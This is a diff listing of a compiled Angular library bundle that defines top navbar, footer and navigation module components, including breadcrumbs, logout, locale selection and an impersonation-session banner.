this.unsubscribe$.complete();
|
313
|
+
clearInterval(this.interval);
|
314
|
+
}
|
315
|
+
updateTitle() {
|
316
|
+
var _a, _b;
|
317
|
+
const firstChild = this.route.snapshot.firstChild;
|
318
|
+
this.title = 'Untitled Page';
|
319
|
+
this.breadcrumbs = [];
|
320
|
+
const topnavbar = (_b = (_a = firstChild === null || firstChild === void 0 ? void 0 : firstChild.data) === null || _a === void 0 ? void 0 : _a.sfData) === null || _b === void 0 ? void 0 : _b.topnavbar;
|
321
|
+
if (topnavbar) {
|
322
|
+
if (topnavbar === null || topnavbar === void 0 ? void 0 : topnavbar.title)
|
323
|
+
this.title = topnavbar.title;
|
324
|
+
if (topnavbar === null || topnavbar === void 0 ? void 0 : topnavbar.breadcrumbs)
|
325
|
+
this.breadcrumbs = topnavbar.breadcrumbs;
|
326
|
+
}
|
327
|
+
}
|
328
|
+
toggleNavigation() {
|
329
|
+
if (this.expanded === true) {
|
330
|
+
this.retractNavigation();
|
331
|
+
this.toggleNavigationExpanded.emit(false);
|
332
|
+
this.expanded = false;
|
333
|
+
}
|
334
|
+
else if (this.expanded === false) {
|
335
|
+
this.expandNavigation();
|
336
|
+
this.toggleNavigationExpanded.emit(true);
|
337
|
+
this.expanded = true;
|
338
|
+
}
|
339
|
+
if (this.router.url === '/dashboard') {
|
340
|
+
// triggers a redraw of gridster and the graphs
|
341
|
+
window.dispatchEvent(new Event('resize'));
|
342
|
+
}
|
343
|
+
}
|
344
|
+
expandNavigation() {
|
345
|
+
$('body').removeClass('mini-navbar');
|
346
|
+
this.topNavbarService.smoothlyMenu();
|
347
|
+
this.navigationService.expandActiveSubMenu();
|
348
|
+
}
|
349
|
+
retractNavigation() {
|
350
|
+
$('body').addClass('mini-navbar');
|
351
|
+
this.topNavbarService.smoothlyMenu();
|
352
|
+
this.navigationService.collapseSubMenus();
|
353
|
+
}
|
354
|
+
setUpSidebarExpanded() {
|
355
|
+
var _a;
|
356
|
+
if (((_a = this.userData) === null || _a === void 0 ? void 0 : _a.sidebarExpanded) === false) {
|
357
|
+
this.toggleNavigation();
|
358
|
+
}
|
359
|
+
}
|
360
|
+
}
|
361
|
+
WlTopNavbarComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarComponent, deps: [{ token: i1.ActivatedRoute }, { token: i1.Router }, { token: WlTopNavbarService }, { token: NavigationService }, { token: i4$1.Title }], target: i0.ɵɵFactoryTarget.Component });
|
362
|
+
WlTopNavbarComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WlTopNavbarComponent, selector: "wl-shell-top-navbar", inputs: { environment: "environment", userData: "userData" }, outputs: { logout: "logout", changeLocale: "changeLocale", openFeedbackModal: "openFeedbackModal", endImpersonationSession: "endImpersonationSession", toggleNavigationExpanded: "toggleNavigationExpanded" }, usesOnChanges: true, ngImport: i0, template: "<div class=\"topnavbar-wrapper\">\n <div class=\"navbar-row row border-bottom\">\n <nav\n class=\"navbar navbar-static-top\"\n [ngClass]=\"{\n 'impersonated-user': impersonatedUser,\n 'white-bg': !impersonatedUser\n }\"\n role=\"navigation\"\n >\n <div class=\"navbar-header\">\n <a class=\"navbar-minimalize minimalize-styl-2 btn\" (click)=\"toggleNavigation()\">\n <em class=\"fas fa-lg fa-bars toggle-navigation\"></em>\n </a>\n <a class=\"navbar-minimalize minimalize-styl-2 btn\" [href]=\"legacyUrl\">SIMPro 4</a>\n <a *ngIf=\"!impersonatedUser\" class=\"navbar-minimalize minimalize-styl-2 btn\" (click)=\"openFeedbackModal.emit(true)\"\n >{{ \"GUIBundle.generic.feedback\" | translate }}</a\n >\n <ul class=\"nav navbar-top-links navbar-left beta-version\">\n <li>\n <a><em> </em></a>\n </li>\n </ul>\n </div>\n </nav>\n </div>\n\n <div class=\"navbar-right-fixed upper\">\n <ul *ngIf=\"impersonatedUser\" class=\"nav navbar-top-links navbar-right impersonated-user\">\n <li>{{ \"GUIBundle.views.impersonate.impersonation_session_expire_in\" | translate }}: {{ counterValue }} |</li>\n <li>\n <a class=\"text-white\" (click)=\"endImpersonationSession.emit(true)\">\n <em class=\"fas fa-sign-out\"></em>\n {{ \"GUIBundle.views.impersonate.end_impersonation_session\" | translate }}\n </a>\n </li>\n </ul>\n <ul *ngIf=\"!impersonatedUser\" class=\"nav navbar-top-links navbar-right\">\n <li class=\"logout-list-item\">\n <a (click)=\"logout.emit(true)\">\n <em class=\"fas fa-sign-out\"></em>\n {{ \"GUIBundle.generic.logout\" | translate }}\n </a>\n </li>\n </ul>\n <div *ngIf=\"impersonatedUser\" class=\"nav navbar-top-links navbar-right language-select\">\n <select class=\"form-control choose-language\" [(ngModel)]=\"locale\">\n <option *ngFor=\"let lang of userData?.locales\" value=\"{{ lang.id }}\">{{ lang.text }}</option>\n </select>\n </div>\n </div>\n <p>ajhsadashadsh</p>\n <wll-empty-block region=\"upper\"></wll-empty-block>\n\n<!-- <div class=\"navbar-right-fixed lower\">-->\n<!-- <app-service-status></app-service-status>-->\n<!-- </div>-->\n\n <div class=\"lower-navbar-wrapper\">\n <div class=\"breadcrumbs-wrapper\">\n <wll-breadcrumbs [title]=\"title\" [breadcrumbs]=\"breadcrumbs\"></wll-breadcrumbs>\n </div>\n </div>\n\n <wll-empty-block region=\"lower\"></wll-empty-block>\n\n <div class=\"navbar-gap\"></div>\n</div>\n", styles: ["ul{position:relative;left:25px}.navbar{position:fixed;border-bottom:1px solid #ccc;margin-bottom:0;width:100%}.navbar-right-fixed{position:fixed;top:0;right:0}.navbar-right-fixed.upper{top:0;z-index:1000}.navbar-right-fixed.lower{top:73px;width:270px;margin-right:35px;z-index:3}.logout-list-item{position:relative;right:40px}.logout-list-item a:hover{color:#696c6e}.navbar-minimalize{border:1px solid #ececec;color:#878787;margin-left:25px}.navbar-minimalize:hover{color:#273646}.lower-navbar-wrapper{width:100%;position:fixed;height:81px;z-index:2;background-color:#f3f3f4;border-bottom:1px solid #ececec;margin-left:-15px}.breadcrumbs-wrapper{margin:12px 0 0 23px}.navbar-gap{height:12px}.navbar-left{float:left}.beta-version a{cursor:default;opacity:0}.impersonated-user{background-color:#d9534f;color:#fff}.impersonated-user .navbar-minimalize,.nav.navbar-right ul.impersonated-user,.nav.navbar-right.impersonated-user>li>a{color:#fff}.language-select{margin-top:14px}\n"], components: [{ type: i5$1.WlEmptyBlockComponent, selector: "wll-empty-block", inputs: ["region"] }, { type: i5$1.BreadcrumbsComponent, selector: "wll-breadcrumbs", inputs: ["title", "breadcrumbs", "homeRoute"] }], directives: [{ type: i4.NgClass, selector: "[ngClass]", inputs: ["class", "ngClass"] }, { type: i4.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i7.SelectControlValueAccessor, selector: "select:not([multiple])[formControlName],select:not([multiple])[formControl],select:not([multiple])[ngModel]", inputs: ["compareWith"] }, { type: i7.NgControlStatus, selector: "[formControlName],[ngModel],[formControl]" }, { type: i7.NgModel, selector: "[ngModel]:not([formControlName]):not([formControl])", inputs: ["name", "disabled", "ngModel", "ngModelOptions"], outputs: ["ngModelChange"], exportAs: ["ngModel"] }, { type: i4.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i7.NgSelectOption, selector: "option", inputs: ["ngValue", "value"] }, { type: i7.ɵNgSelectMultipleOption, selector: "option", inputs: ["ngValue", "value"] }], pipes: { "translate": i5.TranslatePipe } });
|
363
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarComponent, decorators: [{
|
364
|
+
type: Component,
|
365
|
+
args: [{
|
366
|
+
selector: 'wl-shell-top-navbar',
|
367
|
+
templateUrl: './wl-top-navbar.component.html',
|
368
|
+
styleUrls: ['./wl-top-navbar.component.scss']
|
369
|
+
}]
|
370
|
+
}], ctorParameters: function () { return [{ type: i1.ActivatedRoute }, { type: i1.Router }, { type: WlTopNavbarService }, { type: NavigationService }, { type: i4$1.Title }]; }, propDecorators: { environment: [{
|
371
|
+
type: Input
|
372
|
+
}], userData: [{
|
373
|
+
type: Input
|
374
|
+
}], logout: [{
|
375
|
+
type: Output
|
376
|
+
}], changeLocale: [{
|
377
|
+
type: Output
|
378
|
+
}], openFeedbackModal: [{
|
379
|
+
type: Output
|
380
|
+
}], endImpersonationSession: [{
|
381
|
+
type: Output
|
382
|
+
}], toggleNavigationExpanded: [{
|
383
|
+
type: Output
|
384
|
+
}] } });
|
385
|
+
|
386
|
+
class WlFooterComponent {
|
387
|
+
constructor() {
|
388
|
+
this.copyright = "";
|
389
|
+
}
|
390
|
+
}
|
391
|
+
WlFooterComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlFooterComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
|
392
|
+
WlFooterComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WlFooterComponent, selector: "wl-shell-footer", inputs: { copyright: "copyright" }, ngImport: i0, template: "<div class=\"row m-b\"></div>\n<br />\n<!-- Live Status-->\n<!--<app-live-messages></app-live-messages>-->\n\n<div class=\"page-footer\">\n <strong [innerHTML]=\"copyright\"></strong>\n</div>\n", styles: [".page-footer{background-color:#fff;position:fixed;width:100%;bottom:0;margin:0 0 0 -15px;padding:5px 25px;opacity:.9;z-index:99998}.page-footer-right-fixed{position:fixed;bottom:0;right:0;background-color:transparent;padding:5px 25px;z-index:99999}\n"] });
|
393
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlFooterComponent, decorators: [{
|
394
|
+
type: Component,
|
395
|
+
args: [{
|
396
|
+
selector: 'wl-shell-footer',
|
397
|
+
templateUrl: './wl-footer.component.html',
|
398
|
+
styleUrls: ['./wl-footer.component.scss']
|
399
|
+
}]
|
400
|
+
}], propDecorators: { copyright: [{
|
401
|
+
type: Input
|
402
|
+
}] } });
|
403
|
+
|
404
|
+
class NavigationModule {
|
405
|
+
}
|
406
|
+
NavigationModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
|
407
|
+
NavigationModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationModule, declarations: [WlNavigationComponent,
|
408
|
+
WlTopNavbarComponent,
|
409
|
+
WlFooterComponent], imports: [CommonModule,
|
410
|
+
TranslateModule,
|
411
|
+
RouterModule,
|
412
|
+
FormsModule,
|
413
|
+
WlBreadcrumbsModule,
|
414
|
+
WlEmptyBlockModule], exports: [WlNavigationComponent,
|
415
|
+
WlTopNavbarComponent,
|
416
|
+
WlFooterComponent] });
|
417
|
+
NavigationModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationModule, imports: [[
|
418
|
+
CommonModule,
|
419
|
+
TranslateModule,
|
420
|
+
RouterModule,
|
421
|
+
FormsModule,
|
422
|
+
WlBreadcrumbsModule,
|
423
|
+
WlEmptyBlockModule
|
424
|
+
]] });
|
425
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationModule, decorators: [{
|
426
|
+
type: NgModule,
|
427
|
+
args: [{
|
428
|
+
declarations: [
|
429
|
+
WlNavigationComponent,
|
430
|
+
WlTopNavbarComponent,
|
431
|
+
WlFooterComponent,
|
432
|
+
],
|
433
|
+
imports: [
|
434
|
+
CommonModule,
|
435
|
+
TranslateModule,
|
436
|
+
RouterModule,
|
437
|
+
FormsModule,
|
438
|
+
WlBreadcrumbsModule,
|
439
|
+
WlEmptyBlockModule
|
440
|
+
],
|
441
|
+
exports: [
|
442
|
+
WlNavigationComponent,
|
443
|
+
WlTopNavbarComponent,
|
444
|
+
WlFooterComponent
|
445
|
+
]
|
446
|
+
}]
|
447
|
+
}] });
|
448
|
+
|
449
|
+
/*
|
450
|
+
* Public API Surface of wl-shell-layout
|
451
|
+
*/
|
452
|
+
|
453
|
+
/**
|
454
|
+
* Generated bundle index. Do not edit.
|
455
|
+
*/
|
456
|
+
|
457
|
+
export { NavigationModule, NavigationService, WlFooterComponent, WlNavigationComponent, WlTopNavbarComponent, WlTopNavbarService };
|